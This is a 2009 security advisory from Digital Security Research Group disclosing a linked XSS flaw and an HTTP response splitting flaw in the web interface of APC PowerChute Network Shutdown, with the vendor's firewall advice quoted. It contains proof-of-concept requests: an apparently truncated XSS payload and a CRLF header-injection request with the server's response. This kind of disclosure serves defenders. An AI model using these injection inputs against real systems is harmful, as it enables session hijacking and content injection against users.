Digital Security Research Group [DSecRG] Advisory #DSECRG-09-009 ------------------link to original advisory -------------------------- http://www.dsecrg.com/pages/vul/show.php?id=82 Application: APC PowerChute Network Shutdown's Web Interface Vendor URL: http://www.apc.com/ Bug: XSS/Response Splitting Exploits: YES Reported: 20.10.2008 Vendor Response: 20.10.2008 Vendor Reference: 081020-000796 Solution: Use Firewall Date of Public Advisory: 26.02.2009 Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru) Description *********** Linked XSS and Response Splitting vulnerabilities found in APC PowerChute Network Shutdown's Web Interface. Details ******* 1. Linked XSS Vulnerability found in script /security/applet vulnerable parameter - "referrer" Example ******* GET /security/applet?referrer=>"'>2. Response Splitting Vulnerability found in script contexthelp. vulnerable parameter - "page" Example ******* GET /contexthelp?page=Foobar?%0d%0aDSECRG_HEADER:testvalue HTTP/1.0 response: HTTP/1.0 302 Moved temporarily Content-Length: 0 Date: =D7=F2, 25 =F1=E5=ED 2008 10:47:42 GMT Server: Acme.Serve/v1.7 of 13nov96 Connection: close Expires: 0 Cache-Control: no-cache Content-type: text/html Location: help/english/Foobar? DSECRG_HEADER:testvalue Content-type: text/html Solution ******** http://nam-en.apc.com/cgi-bin/nam_en.cfg/php/enduser/std_adp.php?p_faqid=9539 A low-risk web interface vulnerability has been discovered in the PowerChute Business Edition Shutdown Agent. This issue is scheduled to be addressed in a release of the application. While the severity of this vulnerability has been determined to be minimal, it is recommended that user's continue to ensure the highest level of protection possible through the placement of PowerChute Business Edition behind a firewall. References ********** http://nam-en.apc.com/cgi-bin/nam_en.cfg/php/enduser/std_adp.php?p_faqid=9539 About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsecrg [dot] com http://www.dsecrg.com